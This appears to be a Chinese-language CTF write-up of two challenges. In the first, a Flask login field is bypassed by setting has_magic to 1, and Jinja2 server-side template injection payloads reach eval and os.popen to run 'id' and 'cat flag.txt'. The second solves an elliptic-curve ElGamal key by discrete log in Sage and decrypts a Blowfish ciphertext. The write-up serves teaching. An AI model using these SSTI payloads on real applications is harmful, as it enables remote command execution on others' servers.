Crypto Web
挑了几道比赛时不会做的题,分析总结一下。
Wizardschat
提供了一个网站,直接登录会提示没有使用magic,抓包可以看到body里有个has_magic的子段,将其设置为1即可绕过。
登录后是一个类似于留言板的界面
将输入抓包修改为畸形数据
可以看到报错如下图,搜索报错的内容就可以定位到这是Flask框架
Flask框架是存在服务端模板注入(SSTI)漏洞的
经测试发现,登录的用户名位置可以解析类似16这样的代码为16
那么参考下面网址里的poc查看当前用户:
https://github.com/vulhub/vulhub/tree/master/flask/ssti
在用户登录的位置输入下面的脚本:
1 2 3 4 5 6 7 8 9 10 11
| {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
|
注意同时抓包修改has_magic=1
即可执行id命令
使用下面的payload可以读取flag
1
| {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag.txt').read()")}}
|
The Chamber of Secrets
感谢大佬分享:https://github.com/diogoaj/ctf-writeups/tree/master/2019/tghack/crypto/TheChamberOfSecrets
题目给了两部分内容:
1 2 3 4 5 6 7 8 9
| public(h, a, b, q, g) h = (829999038570486 : 549144410878897 : 1) a = -3 b = 313205882961673 q = 1125899906842597 g = (1115545019992514 : 78178829836422 : 1) c = ((700253548714057 : 421820716153583 : 1), (470712751668926 : 131989609316847 : 1))
sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0=
|
第一部分内容给了很多参数,符合椭圆曲线密码的特点,尤其是最后的c提供了两组数据,这在ElGamal密码体制里是非常典型的密文提供形式,注意椭圆曲线密码就是基于ElGamal密码体制,该体制的鲁棒性就依赖于离散对数难题。
1 2 3 4 5 6 7 8 9 10 11
| key = SHA256.new() key.update(secret)
def bf_encrypt(key, message): bs = Blowfish.block_size iv = Random.new().read(bs) cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv) pad_len = bs - divmod(len(message), bs)[1] padding = [pad_len]*pad_len padding = pack('b'*pad_len, *padding) return base64.b64encode(iv + cipher.encrypt(message + padding))
|
第二部分则是给了一段Blowfish的加密算法,加密后的明文应该就是第一部分的最后一行:
sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0=
但是key未知,明显是要通过第一部分获取。
椭圆曲线密码学还是挺难描述的,我目前也是似懂非懂。
举个例子:
对Zp上的椭圆曲线,变元和系数均在Zp中取值:
y2 mod p = (x3+ax+b) mod p
那么,当a = 1, b = 1, x = 9, y = 7, p = 23时就可以满足上面的方程式。
在椭圆曲线密码学里,q为素数p或者形为2m的整数,就可以定义出Eq(a,b),上面的一组解就被定义成点G = (9,7),并且公钥P = n * G ,其中n为私钥。
那么就可以和第一部分对号入座了。
其中h为公钥,g为一组解,那么由 h = n * G,可离散对数求得私钥n
然后根据提供的两组密文就可以还原明文。
C’ = c1*n
M = c2 - C’
使用sage是可以计算的,直接用参考链接里的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
a = -3 b = 313205882961673 q = 1125899906842597
E = EllipticCurve(Zmod(q), [a, b])
g = E(1115545019992514, 78178829836422) h = E(829999038570486, 549144410878897) c1 = E(700253548714057, 421820716153583) c2 = E(470712751668926, 131989609316847)
x = g.discrete_log(h)
print "[+] x:", x
C_ = c1*x M = c2 - C_
print "[+] key:", M[0]
|
还是要运算两三分钟时间的,得到:
root@automne:/Pentest/CTF# sage ecc.sage
[+] x: 29131765433887
[+] key: 934013602642177
然后使用下面的解密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from Crypto.Cipher import Blowfish from Crypto.Hash import SHA256 import base64
b = "sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0="
key = SHA256.new()
key.update(b"934013602642177")
def bf_encrypt(key, message): bs = Blowfish.block_size iv = Random.new().read(bs) cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv) pad_len = bs - divmod(len(message), bs)[1] padding = [pad_len]*pad_len padding = pack('b'*pad_len, *padding) return base64.b64encode(iv + cipher.encrypt(message + padding))
def decrypt(key, message): enc = base64.b64decode(message) iv = enc[:Blowfish.block_size] cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv) return cipher.decrypt(enc[Blowfish.block_size:])
print(decrypt(key.digest(), b))
|
解密后得到flag: